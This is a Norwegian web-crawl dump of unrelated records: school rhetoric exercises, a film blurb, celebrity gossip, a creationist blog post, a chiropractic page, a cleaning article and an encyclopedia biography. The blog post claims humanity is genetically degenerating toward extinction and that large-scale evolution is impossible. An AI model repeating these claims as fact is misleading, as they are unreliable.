\u00e5 dra mottakeren i din retning. Det sies at en god retorisk tekst \"inviterer leseren opp til dans\". En slik tekst inviterer til dialog og samspill. Deltar leseren i dialog med teksten din, er han/hun langt p\u00e5 vei i ferd med \u00e5 gj\u00f8re budskapet til sitt eget. Spr\u00e5k er makt til \u00e5 p\u00e5virke og til \u00e5 gjennomskue u\u00f8nsket p\u00e5virkning. Kunnskap om retorikk gj\u00f8r det vanskeligere \u00e5 lure deg med retoriske knep. Anvend kunnskapen neste gang du ser en reklamefilm eller en partilederdebatt p\u00e5 tv\\! Og husk: Hver gang du avsl\u00f8rer grepene, blir det litt vanskeligere \u00e5 forf\u00f8re/lure deg.   \n\n 14  **Retorikkoppgave 1 - Tekstoppgave:**  \nKronikk: Den farlige vitsen\\! Av: Ulrik Imtiaz Rolfsen Tekstens bestandeler: Inventio: Hva er de viktigste innholdsmomentene i teksten? Dispsitio: I hvilken rekkef\u00f8lge kommer innholdsmomentene? Elocutio: Hvilken stil har avsenderen valgt? Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re? Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet)? Og hvordan kommer dette til uttrykk? Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne? Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene? Logos: Hvilke typer argumentasjon bruker avsenderen? B\u00e5rd H\u00e5ksrud (bildet) er politiker og sitter p\u00e5 stortinget for Fremskrittspartiet (FRP). Ulrik Imtiaz Rolfsen er en norsk-pakistansk filmregiss\u00f8r. Han har laget flere reklamefilmer og musikkvideoer. Han debuterte som spillefilmregiss\u00f8r med den norske actionfilmen Izzat i 2005. Kronikk: er en st\u00f8rre, seri\u00f8s artikkel i en avis eller tidsskrift om et aktuelt emne Kilde: Wikipedia  Og hvordan kommer dette til uttrykk Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene Logos: Hvilke typer argumentasjon bruker avsenderen B\u00e5rd H\u00e5ksrud (bildet) er politiker og sitter p\u00e5 stortinget for Fremskrittspartiet (FRP). Ulrik Imtiaz Rolfsen er en norsk-pakistansk filmregiss\u00f8r. Han har laget flere reklamefilmer og musikkvideoer. Han debuterte som spillefilmregiss\u00f8r med den norske actionfilmen Izzat i 2005. Kronikk: er en st\u00f8rre, seri\u00f8s artikkel i en avis eller tidsskrift om et aktuelt emne. Kilde: Wikipedia.\")  \n\n 16  **Oppgave 1: Tekstens bestandeler:**  \nInventio (innhold): Hva er de viktigste innholdsmomentene i teksten? Dispsitio (disposisjon): I hvilken rekkef\u00f8lge kommer innholdsmomentene? Elocutio (stil): Hvilken stil har avsenderen valgt? Oppgave 2: Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re? Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet)? Og hvordan kommer dette til uttrykk? Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne? Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene? Logos: Hvilke typer argumentasjon bruker avsenderen? : Hva er de viktigste innholdsmomentene i teksten Dispsitio (disposisjon): I hvilken rekkef\u00f8lge kommer innholdsmomentene Elocutio (stil): Hvilken stil har avsenderen valgt Oppgave 2: Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet) Og hvordan kommer dette til uttrykk Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene Logos: Hvilke typer argumentasjon bruker avsenderen\")  \n\n 17  **Retorikkoppgave 3: Reklamefilm: M\u00f8llers Tran**  \nEmil Hegle Svendsen (Norsk skiskytter med OL- og VM-gull) Tekstens bestandeler: Inventio: Hva er de viktigste innholdsmomentene i teksten? Dispositio: I hvilken rekkef\u00f8lge kommer innholdsmomentene? Elocutio: Hvilken stil har avsenderen valgt? Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re? Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet)? Og hvordan kommer dette til uttrykk? Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne? Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene? Logos: Hvilke typer argumentasjon bruker avsenderen?  Tekstens bestandeler: Inventio: Hva er de viktigste innholdsmomentene i teksten Dispositio: I hvilken rekkef\u00f8lge kommer innholdsmomentene Elocutio: Hvilken stil har avsenderen valgt Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet) Og hvordan kommer dette til uttrykk Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene Logos: Hvilke typer argumentasjon bruker avsenderen\")  \n\n 18  **Retorikkoppgave 4: Reklamefilm: M\u00f8llers Tran**  \nAina Marie Lien (Klinisk ern\u00e6ringsfysiolog) Tekstens bestandeler: Inventio: Hva er de viktigste innholdsmomentene i teksten? Dispsitio: I hvilken rekkef\u00f8lge kommer innholdsmomentene? Elocutio: Hvilken stil har avsenderen valgt? Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re? Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet)? Og hvordan kommer dette til uttrykk? Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne? Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene? Logos: Hvilke typer argumentasjon bruker avsenderen?  Tekstens bestandeler: Inventio: Hva er de viktigste innholdsmomentene i teksten Dispsitio: I hvilken rekkef\u00f8lge kommer innholdsmomentene Elocutio: Hvilken stil har avsenderen valgt Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet) Og hvordan kommer dette til uttrykk Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene Logos: Hvilke typer argumentasjon bruker avsenderen\")  \n\n 19  **Retorikkoppgave 6: Reklamefilm: Jotun maling: Tekstens bestandeler:**  \nInventio: Hva er de viktigste innholdsmomentene i teksten? Dispsitio: I hvilken rekkef\u00f8lge kommer innholdsmomentene? Elocutio: Hvilken stil har avsenderen valgt? Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re? Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet)? Og hvordan kommer dette til uttrykk? Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne? Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene? Logos: Hvilke typer argumentasjon bruker avsenderen?  Og hvordan kommer dette til uttrykk Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene Logos: Hvilke typer argumentasjon bruker avsenderen\")  \n\n 20  **Retorikkoppgave 6: Reklamefilm: Statens vegvesen \u2013 Bruk bilbelte\\!**  \nTekstens bestandeler: Inventio: Hva er de viktigste innholdsmomentene i teksten? Dispsitio: I hvilken rekkef\u00f8lge kommer innholdsmomentene? Elocutio: Hvilken stil har avsenderen valgt? Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re? Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet)? Og hvordan kommer dette til uttrykk? Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne? Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene? Logos: Hvilke typer argumentasjon bruker avsenderen?  Og hvordan kommer dette til uttrykk Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene Logos: Hvilke typer argumentasjon bruker avsenderen\")  \n\n 21  **Retorikkoppgave 5: Reklamefilm: Tine melk Tekstens bestandeler:**  \nTekstens bestandeler: Inventio: Hva er de viktigste innholdsmomentene i teksten? Dispsitio: I hvilken rekkef\u00f8lge kommer innholdsmomentene? Elocutio: Hvilken stil har avsenderen valgt? Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re? Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet)? Og hvordan kommer dette til uttrykk? Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne? Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene? Logos: Hvilke typer argumentasjon bruker avsenderen?  Og hvordan kommer dette til uttrykk Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene Logos: Hvilke typer argumentasjon bruker avsenderen\")  \n\n 23  **Retorikkoppgave 8: Reklamefilm: Subaru Tekstens bestandeler:**  \nInventio: Hva er de viktigste innholdsmomentene i teksten? Dispsitio: I hvilken rekkef\u00f8lge kommer innholdsmomentene? Elocutio: Hvilken stil har avsenderen valgt? Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re? Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet)? Og hvordan kommer dette til uttrykk? Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne? Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene? Logos: Hvilke typer argumentasjon bruker avsenderen?  Og hvordan kommer dette til uttrykk Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene Logos: Hvilke typer argumentasjon bruker avsenderen\")  \n\n 24  **Retorikkoppgave 9: - Tale Jens Stoltenberg**  \nTekstens bestandeler: Inventio: Hva er de viktigste innholdsmomentene i teksten? Dispsitio: I hvilken rekkef\u00f8lge kommer innholdsmomentene? Elocutio: Hvilken stil har avsenderen valgt? Tekstens overbevisende kraft: Hva fors\u00f8ker avsenderen \u00e5 overbevise mottakerne om \u2013 og til \u00e5 gj\u00f8re? Ethos: Hvilke troverdige karaktertrekk fors\u00f8ker avsenderen \u00e5 vise (Forstand, dyd, velvilje, autentisitet)? Og hvordan kommer dette til uttrykk? Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne? Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene? Logos: Hvilke typer argumentasjon bruker avsenderen?  Og hvordan kommer dette til uttrykk Pathos: Hvilke f\u00f8lelser fors\u00f8ker avsenderen \u00e5 vekke hos mottakerne Og hvordan g\u00e5r avsenderen frem for \u00e5 vekke disse f\u00f8lelsene Logos: Hvilke typer argumentasjon bruker avsenderen\")  \n\n", "language": "no", "__index_level_0__": "d25a2c31-354e-4628-b660-28cc1f4597e6"}
{"url": "http://www.arthaus.no/kommer/article949168.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:15:38Z", "text": "To politimenn har to ting til felles: de har begge blitt dumpa av kj\u00e6resten og de vanker begge p\u00e5 samme gatekj\u00f8kken, Midnight Express.\n\nFrenetisk og svimmelt vakker neon-melankoli fra Hong Kong-regiss\u00f8ren Wong Kar-Wai, en av 90-tallets mest spennende filmskapere. Og en av de lettest gjenkjennelige, med sin s\u00e6regne og urbane, meget fargesterke pop-estetikk.  \n  \n*Chungking Express* er en nydelig, bl\u00e5 storbyfabel om to kj\u00e6rlighetssyke politimenn som stadig ender opp p\u00e5 gatekj\u00f8kkenet \"Midnight Express\" i sin ensomme ferd gjennom Hong Kong-natten. Politimann nr. 223 hamstrer ananasbokser som g\u00e5r ut p\u00e5 datoen 1. mai, en m\u00e5ned etter at kj\u00e6resten forlot ham. Hvis hun ikke har kommet tilbake innen da, skal han spise alle boksene p\u00e5 en gang. Den samme kvelden m\u00f8ter han en kvinne med blond parykk og solbriller, som viser seg \u00e5 v\u00e6re involvert i heroinsmugling. P\u00e5 en bar, sent en kveld, forelsker han seg i henne. Faye, den unge kvinnen som jobber p\u00e5 gatekj\u00f8kkenet, er besatt av Mamas and Papas-l\u00e5ta \"California Dreaming\". Hun forelsker seg i politimann nr. 663, og begynner \u00e5 snoke rundt i leiligheten hans n\u00e5r han ikke er hjemme.  \n  \n*Chungking Express* er en erketypisk 90-tallsfilm, og en av ti\u00e5rets flotteste. Mye skeiv kameraf\u00f8ring og h\u00f8y hipphetsfaktor.\n\n\u00a0\n", "language": "no", "__index_level_0__": "ad58b330-fd90-45b6-9fa8-c938a634532a"}
{"url": "https://www.seher.no/kjendis/hun-er-fullstendig-knust/64542509", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:41:14Z", "text": "\n\n## \\- Hun er fullstendig knust\n\nEksen vil ikke ta Kim Kardashian tilbake.\n\n5\\. mars 2012 kl. 20.15\n\nSEOGH\u00d8R.NO: Det har den siste tiden versert rykter om at reality-stjernen Kim Kardashian (31) og ekskj\u00e6resten Reggie Bush hadde blitt sammen igjen.  \n  \nDet tidligere paret har flere ganger vist seg sammen etter at ekteskapet mellom Kardashian og Kris Humphries tok slutt etter 72 dager.  \n  \nN\u00e5 skal Kardashian v\u00e6re fullstendig knust, fordi Bush har fortalt henne at han ikke vil bli sammen med henne igjen.  \n  \n**- Hun trodde Reggie ville ta henne tilbake etter hele greia med Kris. Han er hennes eneste virkelige kj\u00e6rlighet. Han kunne enkelt ha innledet et forhold med Kim igjen, men har valgt \u00e5 ikke gj\u00f8re det, sier en kilde if\u00f8lge nettstedet ShowbizSpy.com.**  \n  \nDet er dette som har f\u00e5tt Kardashian til \u00e5 fortvile.  \n  \n\\- Reggie liker \u00e5 tilbringe tid med med Kim, men liker ikke oppmerksomheten som f\u00f8lger. Han har sagt til henne at han ikke elsker henne p\u00e5 den m\u00e5ten lenger, og at de bare er venner.  \n  \n", "language": "no", "__index_level_0__": "d7459f35-3fed-43f7-bb52-d59d79f0eeea"}
{"url": "https://byggemennesker.blogspot.no/2011/10/det-gar-dessverre-nedover-med-oss.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:15:25Z", "text": "### Det g\u00e5r dessverre nedover med oss\n\n\n\n  Av   \n\nSjur Jansen  \n\noktober 24, 2011\n\n\n\nBoken Genetic Entropy fra 2005 viser at det hoper seg opp med negative mutasjoner i kroppene v\u00e5re. Menneske som art vil med tiden d\u00f8 ut.  \n  \nForfatteren er John Sanford som er professor i planteforedling og genetikk, han har en rekke genetiske patenter, han har startet flere genetiske selskaper, og han har utviklet et simuleringsprogram for genetisk utvikling. Han vet hva han snakker om.  \n  \nSanford skriver i boken at hver og en av oss samler opp negative mutasjoner gjennom livet. En god del av dem overf\u00f8res til barna v\u00e5re. Dermed f\u00e5r barna dobbelt opp. Og slik fortsetter det. Noen f\u00e5 negative mutasjoner betyr ikke s\u00e5 mye, for vi har s\u00e5 mye annet DNA som virker. Men etter en god del generasjoner vil det bli mer enn kroppen makter.  \n  \nBoken viser videre at positiv evolusjon er umulig i stor skala fordi de f\u00e5 positive mutasjonene som skjer, klarer ikke \u00e5 bli fanget opp i en befolkning hvor det skjer sv\u00e6rt mye p\u00e5 et mye st\u00f8rre plan. Mutasjonen skjer nemlig nesten p\u00e5 atomniv\u00e5, mens eventuell positiv naturlig utvalg skal i tilfelle skje p\u00e5 individniv\u00e5. Det blir for mye \"st\u00f8y\" for at den lille mutasjonen skal bli fanget opp, det er s\u00e5 mye som skjer i et individs liv som er mye viktigere enn den enslige vesle mutasjonen. Dessuten er det s\u00e5 mange andre individer, ja faktisk alle de andre individene i samme art, som ikke har mutasjonen. \u00a0  \n\n  \nJohn Sanford viser matematikken i dette og trykker grafer som forteller hvilken liten sjanse en god mutasjon har til \u00e5 spre seg i arten.  \n  \nHvis jeg har forst\u00e5tt regnestykkene riktig, s\u00e5 er det p\u00e5 den annen side s\u00e5pass mange negative eller n\u00f8ytrale mutasjoner, at de makter \u00e5 bli fanget opp. Derfor er det ulik sannsynlighet for spredning av negative og positive mutasjoner.  \n  \nDet h\u00f8res veldig trist ut at vi blir degenerert generasjon for generasjon, men det stemmer med hvordan Bibelen forklarer hvordan verden er etter syndefallet. Heldigvis har Bibelen ogs\u00e5 et l\u00f8fte om en ny jord og en ny himmel, men det blir et trossp\u00f8rsm\u00e5l. Det vitenskapen kan m\u00e5le, er bare halve historien fra Bibelen, nemlig det som skjer her og n\u00e5: det g\u00e5r nedover med oss.  \n  \nSanford er ikke den f\u00f8rste som forteller at det g\u00e5r nedover genetisk. En annen fyr har tidligere skrevet en bok som sa at vi burde ha v\u00e6rt utryddet hundre ganger allerede, for degeneringen skjer i et s\u00e5 hurtig tempo. Denne forfatteren tok utgangspunkt i en lang tidsskala, derfor oppsto sp\u00f8rsm\u00e5let hvorfor vi ikke allerede er utryddet.\u00a0\n\n  \nDet vanlige svaret p\u00e5 dette er \u00e5 anta at i starten av menneskets tilblivelse gikk evolusjonen supergreit uten skadelig degenering. Det er f\u00f8rst n\u00e5 i v\u00e5re dager, hvor vi kan sjekke fakta og m\u00e5le vitenskaplig hva som skjer, at degeneringen har skutt fart. Jeg synes dette h\u00f8res ut som at man snakker bort fakta man ikke liker. Da kan man i grunnen p\u00e5st\u00e5 hva som helst i ateistisk tro uten \u00e5 ha vitenskaplig dekning.\n\nSanford forteller i et intervju at alle som har god greie p\u00e5 genetikk, vet at det g\u00e5r nedover med oss, s\u00e5 han forteller egentlig ikke noe nytt.\n\n\n", "language": "no", "__index_level_0__": "376e7457-9ffe-4350-86c7-7901ab95c4ea"}
{"url": "http://kiropraktorgruppen.no/skulder/generelt-om-skuldersmerter", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00203.warc.gz", "warc_date": "2018-03-24T23:16:37Z", "text": "# Generelt om skuldersmerter\n\nSkuldersmerter er sv\u00e6rt vanlig og kan ha flere forskjellige \u00e5rsaker som din kiropraktor kan unders\u00f8ke, diagnostisere og behandle. Skuldrene v\u00e5re er utsatte for smerter b\u00e5de i forbindelse med kontorarbeid og ved trening.\n\nAlle armbevegelser er avhengige av normal rytmisk bevegelse mellom skulderblad, rygg, krageben og skulder. Dersom skuldermekanikken ikke fungerer, vil dette gi feilbelastninger i nakke, brystrygg, skuldre og armer.  \nFellesnevnere for de vanligste skulderlidelsene er akutt skade eller feilbelastning over tid. Skulderbladenes stilling og st\u00f8ttemuskulatur spiller en viktig rolle ved alle armbevegelser. Ensidige arbeidsstillinger gj\u00f8r at armene lett blir holdt litt ut fra siden av kroppen med runde, fremoverb\u00f8yde skuldre. I denne stillingen mister skulderbladet sin muskul\u00e6re st\u00f8tte, de sm\u00e5 stabiliserende skuldermusklene overbelastes og det kan bli trangt for senene som g\u00e5r innunder kragebenet frem til selve kuleleddet i skulderen. Over tid kan det oppst\u00e5 senebetennelser og slitasjeforandringer i muskler og ledd.\n\nTrykkb\u00f8lgebehandling (Radial ShockwaveTherapy eller rESWT) er en effektiv behandlingsform for kroniske skuldersmerter. Dersom du opplever \u00e5 ha muskul\u00e6re plager opps\u00f8k din lokale kiropraktor da smerte\u00e5rsaken ofte er mer omfattende enn som s\u00e5. Gjennom unders\u00f8kelser vil kiropraktoren kartlegge dine skuldersmerter og gi deg r\u00e5d om hva som kan gj\u00f8res.\n\n## \\-----\n### Hva er informasjonskapsler? ( cookies)\n\nInformasjonskapsler er filer som opprettes av nettsteder du bes\u00f8ker. Informasjonskapsler lagrer informasjon, for eksempel innstillingene dine eller profilinformasjonen din for et nettsted. Det finnes to typer informasjonskapsler:\n\n  - Informasjonskapsler fra f\u00f8rstetilbydere opprettes av nettstedet som vises i adressefeltet.\n  - Informasjonskapsler fra tredjeparter kommer fra andre nettsteder som har ting som annonser eller bilder innebygd p\u00e5 siden du bes\u00f8ker.\n\nIkke alle informasjonskapsler er d\u00e5rlige. Informasjonskapsler kan for eksempel hjelpe et nettsted med \u00e5 huske innstillingene du foretrekker, slik at de kan lastes inn n\u00e5r du kommer tilbake til nettstedet neste uke. Informasjonskapsler kan ogs\u00e5 hjelpe nettsteder med \u00e5 huske hvor du befinner deg, slik at du kan f\u00e5 lokalt relevant innhold, som for eksempel v\u00e6ret.\n\n", "language": "no", "__index_level_0__": "b3d31bc9-475d-43ce-b0e5-5b5a35df3eb1"}
{"url": "http://www.viivilla.no/interior/renhold-og-inneklima/bakteriebomber-i-hjemmet/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:16:08Z", "text": "\n\n# 8 bakteriebomber i hjemmet\n\nRengj\u00f8ring og inneklima\n\nOkei, med h\u00e5nden p\u00e5 hjertet - hvor ofte rengj\u00f8r du egentlig disse tingene og stedene i hjemmet? Her er 8 m\u00f8kkete ting og steder som bakteriene elsker\\!\n\n Av: Einar Vestheim og Emelie \u00c5berg, 6. mars 2015\n\n  - # Oppvaskkum og kj\u00f8kkenbenk\n    \n    \n    \n    Tenk p\u00e5 alt du setter fra deg p\u00e5 kj\u00f8kkenbenken; matvarer, handleposer og kanskje til og med vesken som har st\u00e5tt p\u00e5 bakken eller bussgulvet. I f\u00f8lge en amerikansk studie fra NSF fantes det e-coli-bakterier p\u00e5 30 prosent av kj\u00f8kkenbenkene i testhjemmene.\u00a0 Hyggelig, ikke sant?\n    \n    Oppvaskkummen er en annen bakteriebombe - den godter seg i bakterier fra gamle matrester, fra kj\u00f8kkenbenken og annen dagligdags aktivtet. I f\u00f8lge NSF innholdt 45 prosent av oppvaskkumene e-coli-bakterier.\n    \n    **R\u00e5d:** Rengj\u00f8r og desinfiser kum og kj\u00f8kkenbenk flere ganger i uken.\n\n  - # Vriderne p\u00e5 stekeovnen\n    \n    \n    \n    N\u00e5r tok du av vriderne sist og ga dem en vask? Dette er en bakteriebombe ofte glemmes.\u00a0\n    \n    **R\u00e5d:** Det beste er nok \u00e5 ta av vriderne og vaske dem grundig.\u00a0\n\n  - # Tannb\u00f8rsten\n    \n    \n    \n    N\u00e5r du trekker ned i do spyles ogs\u00e5 omgivelsene i n\u00e6rheten med bakterier fra toalettet. Ikke s\u00e5 hyggelig med tanke p\u00e5 at mange har tannb\u00f8rsten st\u00e5ende p\u00e5 baderomsvasken som ofte st\u00e5r i n\u00e6rheten av toalettet.\u00a0\n    \n    **R\u00e5d:** Legg alltid ned toalettlokket f\u00f8r du drar ned og desinfiser alle flater med jevne mellomrom. Glem heller ikke \u00e5 vaske tannkostglasset.\u00a0\n\n  - # Vaskemaskinen\n    \n    \n    \n    Visste du at vaskemaskinen din inneholder store mengder bakterier? For eksempel undert\u00f8y inneholder masse bakterier som du f\u00e5r p\u00e5 hendene n\u00e5r du flytter de v\u00e5te kl\u00e6rne fra vaskemaskin til t\u00f8rketrommel. Bakteriene d\u00f8r ikke f\u00f8r kl\u00e6rne er t\u00f8rket i t\u00f8rketrommelen.\u00a0\n    \n    **R\u00e5d:** Kj\u00f8r maskinen p\u00e5 kokeprogram en gang i blant, slik at bakteriene d\u00f8r.\u00a0\n\n  - # H\u00e5ndkl\u00e6r\n    \n    \n    \n    Det er ingen hemmelighet at bakterier trives der det er fuktig, for eksempel i fuktige h\u00e5ndkl\u00e6r p\u00e5 badet. Aller verst er det om dere er flere som deler samme h\u00e5ndkle. Da spres en rekke utrivelige bakterier som MRSA og influensabakterier. Henger du v\u00e5te h\u00e5ndkler sammen kan de lett mugne.\u00a0\n    \n    **R\u00e5d:** Heng h\u00e5ndklene hver for seg, slik at de rekker \u00e5 t\u00f8rke godt mellom hver bruk. Bytt h\u00e5ndler ofte.\n\n  - # Oppvaskkluten\n    \n    \n    \n    Oppvaskkluter og oppvasksvamper noen av de mest bakteriefylte tingene du har i huset. De er en dr\u00f8m for bakterier som influensabakterier, salmonella og e-coli. De stortrives i fuktige oppvaskluter. N\u00e5r du t\u00f8rker av kj\u00f8kkenbenken, kj\u00f8kkenbordet og mye annet sprer du disse bakteriene utover.\n    \n    **R\u00e5d:** Rengj\u00f8r og desinfiser kj\u00f8kkenkluten daglig. Et knep er \u00e5 legge den i mikrob\u00f8lgeovnen i to minutter, koke den i en kjele eller kj\u00f8re den i oppvaskmaskinen. Bytt ut kj\u00f8kkenklutene og kj\u00f8kkensvampene ofte\\!\n\n  - # Mobilen, tastaturet og fjernkontrollen\n    \n    \n    \n    Er du en av de som nesten alltid har mobiltelefonen i h\u00e5nden? Da kan du se p\u00e5 den som en forlengelse av h\u00e5nden din, men som sjelden eller aldri vaskes. I f\u00f8lge avisen Daily Mail har mobilen flere bakterier enn toalettet ditt. Det samme gjelder fjernkontrollen og tastaturet p\u00e5 pcen din. (Som i tillegg ofte brukes av flere i husholdningen).\n    \n    **R\u00e5d:** T\u00f8rk av og rengj\u00f8r mobilen, tastatur og fjernkontroll med desinfiserende servietter regelmessig.\n\n  - # Dyrenes matsk\u00e5ler\n    \n    \n    \n    Hvis du har dyr hjemme b\u00f8r du v\u00e6re klar over at kj\u00e6ledyrets matsk\u00e5l er en samlingsplass for bakterier.\n    \n    **R\u00e5d:** Matsk\u00e5lene b\u00f8r vaskes hver dag, enten for h\u00e5nd med oppvaskmiddel eller i oppvaskmaskin\n    \n    Alle foto: Getty Images\n\n6\\. mars 2015 Einar Vestheim og Emelie \u00c5berg\n\n## Hagem\u00f8bler b\u00f8r vaskes f\u00f8r vinteren\n\n## Velkommen til viivilla.no\\!\n\n", "language": "no", "__index_level_0__": "15dd23bb-28c2-49dc-80b3-e853dc9cee7d"}
{"url": "https://snl.no/Anne_Kristin_Sydnes", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:47:06Z", "text": "# Anne Kristin Sydnes\n\n](https://media.snl.no/system/images/50415/standard_Anne_Kristin_Sydnes.jpg)\n\nAnne Kristin Sydnes var en norsk politiker (Arbeiderpartiet) og statsviter. Hun var bistandsminister fra 2000 til 2001 i\u00a0Jens Stoltenbergs f\u00f8rste regjering.\u00a0\n\nAnne Kristin Sydnes\u00a0tok hovedfag i statsvitenskap (cand.polit.) i 1985 og var deretter forsker ved\u00a0Fridtjof Nansens institutt\u00a0i 1985\u20131997, der hun ogs\u00e5 var assisterende direkt\u00f8r i 1995\u20131997. Hun var som forsker s\u00e6rlig opptatt av nord\u2013s\u00f8r-sp\u00f8rsm\u00e5l.\n\nSydnes var i 1997\u20132000 direkt\u00f8r og fra 2001 spesialr\u00e5dgiver i Statoil med ansvar for menneskerettighetssp\u00f8rsm\u00e5l, politisk risiko og landanalyser. 2007\u20132011 var hun utenlandssjef i Kirkens N\u00f8dhjelp.\u00a0Hun var deretter fagdirekt\u00f8r i N\u00e6rings- og fiskeridepartementet.\u00a0\n\nSydnes var gift med\u00a0Jan Egeland.\n\n## Utgivelser i utvalg\n\n  - *Naive newcomer or shrewd salesman? Norway - a major oil and gas exporter* (1990, sammen med\u00a0Helge Ole Bergesen)*\u00a0*\n  - *Norge i det globale drivhuset* (1995, sammen med Helge Ole Bergesen og Kjell Roland).\n\n", "language": "no", "__index_level_0__": "59a6fcee-de33-4a5a-acfc-22893804d9b1"}
